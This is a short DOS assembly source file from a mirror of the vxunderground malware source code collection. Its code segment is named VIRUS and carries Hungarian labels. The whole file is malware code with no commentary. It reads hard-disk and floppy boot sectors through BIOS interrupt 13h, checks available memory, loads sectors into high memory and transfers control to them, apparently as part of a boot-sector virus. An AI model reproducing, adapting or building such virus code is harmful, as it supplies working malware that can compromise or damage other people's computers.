mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
111 lines
1.3 KiB
NASM
111 lines
1.3 KiB
NASM
PAGE ,132
|
||
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||
ASSUME CS:VIRUS,DS:VIRUS
|
||
call gyilk
|
||
int 20h
|
||
nop
|
||
gyilk: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
call cim
|
||
cim: pop bx
|
||
mov si,5aa5h
|
||
mov di,55aah
|
||
push cs
|
||
pop es
|
||
ujra: add bx,1000
|
||
cmp bx,1000
|
||
jnc kilep1
|
||
jmp kilep
|
||
kilep1: push bx
|
||
mov ax,201h
|
||
mov dx,80h
|
||
mov cx,1
|
||
int 13h
|
||
pop bx
|
||
jnc tovabb
|
||
jmp kilep
|
||
tovabb: cmp si,0a55ah
|
||
jnz tivbi1
|
||
jmp kilep
|
||
tivbi1: mov ax,cs:word ptr [bx]
|
||
cmp ax,12cdh
|
||
jz kilep
|
||
tovbi: push bx
|
||
mov ax,201h
|
||
mov dx,0h
|
||
mov cx,1
|
||
int 13h
|
||
pop bx
|
||
jnc tovabbi
|
||
cmp ah,6
|
||
jz tovbi
|
||
jmp kilep
|
||
tovabbi: mov ax,cs
|
||
add ax,1000h
|
||
push bx
|
||
push ax
|
||
int 12h
|
||
mov bx,64
|
||
mul bx
|
||
sub ax,1000h
|
||
mov bx,ax
|
||
pop ax
|
||
cmp bx,ax
|
||
jnc oke1
|
||
pop bx
|
||
jmp kilep
|
||
oke1: pop bx
|
||
oke: mov es,ax
|
||
mov ax,cs:[bx+18h]
|
||
mov cx,cs:[bx+1ah]
|
||
mul cx
|
||
mov cx,ax
|
||
mov ax,cs:[bx+13h]
|
||
mov dx,0
|
||
div cx
|
||
sub bx,1000
|
||
push bx
|
||
mov ch,al
|
||
mov cl,1
|
||
mov bx,100h
|
||
mov dx,0
|
||
mov ax,208h
|
||
int 13h
|
||
pop bx
|
||
jc kilep
|
||
push bx
|
||
mov bx,100h
|
||
mov ax,es:[bx]
|
||
cmp ax,2452h
|
||
pop bx
|
||
jnz kilep
|
||
mov ax,bx
|
||
add ax,offset kilep-offset cim
|
||
push cs
|
||
push ax
|
||
mov ax,10ah
|
||
push es
|
||
push ax
|
||
retf
|
||
kilep: pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
cime: dw 0
|
||
VEG EQU $
|
||
|
||
VIRUS ENDS
|
||
|
||
END
|
||
|